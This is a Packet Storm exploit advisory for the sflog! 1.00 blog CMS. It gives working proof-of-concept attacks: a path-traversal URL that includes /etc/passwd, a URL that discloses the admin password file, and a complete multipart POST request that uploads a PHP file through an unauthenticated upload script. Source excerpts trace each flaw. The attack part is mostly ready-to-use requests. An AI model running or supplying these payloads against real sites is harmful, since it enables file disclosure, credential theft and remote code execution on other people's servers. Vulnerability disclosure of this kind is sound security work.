exploit the possibilities

sflog! 1.00 LFI / Password Disclosure / Shell Upload

sflog! 1.00 LFI / Password Disclosure / Shell Upload
Posted Jul 6, 2012
Authored by dun

sflog! versions 1.00 and below suffer from local file inclusion, administrative password disclosure, and remote shell upload vulnerabilities.

tags | exploit, remote, shell, local, vulnerability, file inclusion, info disclosure
MD5 | f7595d6fc73ab2011bfdc0c93d3b352c

sflog! 1.00 LFI / Password Disclosure / Shell Upload

Change Mirror Download
  :::::::-.   ...    ::::::.    :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM

[ Discovered by dun \ posdub[at]gmail.com ]
[ 2012-07-05 ]
#################################################
# [ sflog! <= 1.00 ] Multiple Vulnerabilities #
#################################################
#
# Script: "sflog! is a flat and light CMS::Blog system."
#
# Vendor: http://sourceforge.net/projects/sflog/
# Download: http://sourceforge.net/projects/sflog/files/sflog/
#
#
# [ LFI ]
#
# PoC: http://localhost/sflog/index.php?blog=admin&section=../../../../../../../etc/&permalink=passwd
#
# File: ./sflog/index.php (lines: 1, 53)
# ..cut..
# 1 <?php include("./includes/pageHeader.inc.php"); ?> // 1
# ..cut..
#
# 53 require_once("./includes/entries.inc.php"); // 4
# ..cut..
#
# File: ./sflog/includes/pageHeader.inc.php (lines: 20, 35)
# ..cut..
# 20 $_blogID = $_GET['blog']; // 2
# ..cut..
#
# 35 $_sectionID = $_GET['section']; // 3
# ..cut..
#
# File: ./sflog/includes/entries.inc.php (lines: 2-11)
# ..cut..
# 2 include_once("./cms/BlogEntry.class.php"); // 5
# 3 include_once("./cms/Blog.class.php");
# 4 $blog = new BlogEntry($_blogID,$_sectionID); // 6
# 5 $cms = new Blog();
# 6 $pages = $cms->getPostPerPage($_blogID);
# 7
# 8 // checks for permalink
# 9 if (isset($_GET['permalink'])){
# 10 $_permalink = $_GET['permalink']; // 8
# 11 $blog->showEntry($_permalink); // 9
# ..cut..
#
# File: ./sflog/cms/BlogEntry.class.php (lines: 37-85)
# ..cut..
# 37 class BlogEntry {
# ..cut..
# 47 function BlogEntry($blogID,$sectionID){ // 7
# 48 error_reporting(E_USER_ERROR); //
# 49 $this->blogID = $blogID; //
# 50 $this->sectionID = $sectionID; //
# 51 }
# ..cut..
# 57 function showEntry($entryID){ // 10
# ..cut..
# 60 $JournalContentDir = "./blogs/".$this->blogID."/data/".$this->sectionID; // 11
# ..cut..
# 80 $JournalContent = $JournalContentDir."/".$entryID; // 12
# ..cut..
# 83 include_once $JournalContent; // 13 [LFI]
# ..cut..
#
#################################################
# [ Admin Password Disclosure ]
#
# PoC: http://localhost/sflog/admin/passwd
#
#################################################
# [ Arbitrary File Upload ]
#
# File: ./sflog/admin/includes/uploadContent.inc.php (lines: 62-72)
# ..cut..
# 62 if (trim($_FILES['fileID']['name'])!=''){
# 63 $uploaddir = BLOG_PATH.$blogID.BLOG_UPLOADS;
# 64 $uploadfile = $uploaddir . basename($_FILES['fileID']['name']);
# 65 echo '<pre>';
# 66 if (move_uploaded_file($_FILES['fileID']['tmp_name'], $uploadfile)) {
# 67 print(UPLOAD_SUCCESS);
# 68 } else {
# 69 print('<font color="red">'.UPLOAD_FAILED.'</font>');
# 70 }
# 71 print "</pre>";
# 72 }
# ..cut..
#
# PoC:
#
# POST /sflog/admin/includes/uploadContent.inc.php HTTP/1.1
# Host: localhost
# User-Agent: Mozilla/5.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: pl,en-us;q=0.7,en;q=0.3
# Accept-Encoding: gzip, deflate
# Connection: keep-alive
# Content-Type: multipart/form-data; boundary=---------------------------4827543632391
# Content-Length: 411
# -----------------------------4827543632391
# Content-Disposition: form-data; name="blogID"
#
# admin
# -----------------------------4827543632391
# Content-Disposition: form-data; name="MAX_FILE_SIZE"
#
# 0
# -----------------------------4827543632391
# Content-Disposition: form-data; name="fileID"; filename="info.php"
# Content-Type: text/x-php
#
# <?php phpinfo(); ?>
#
# -----------------------------4827543632391--
#
#
# Uploaded file will be here: http://localhost/sflog/blogs/admin/uploads/info.php
#
### [ dun / 2012 ] #####################################################

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close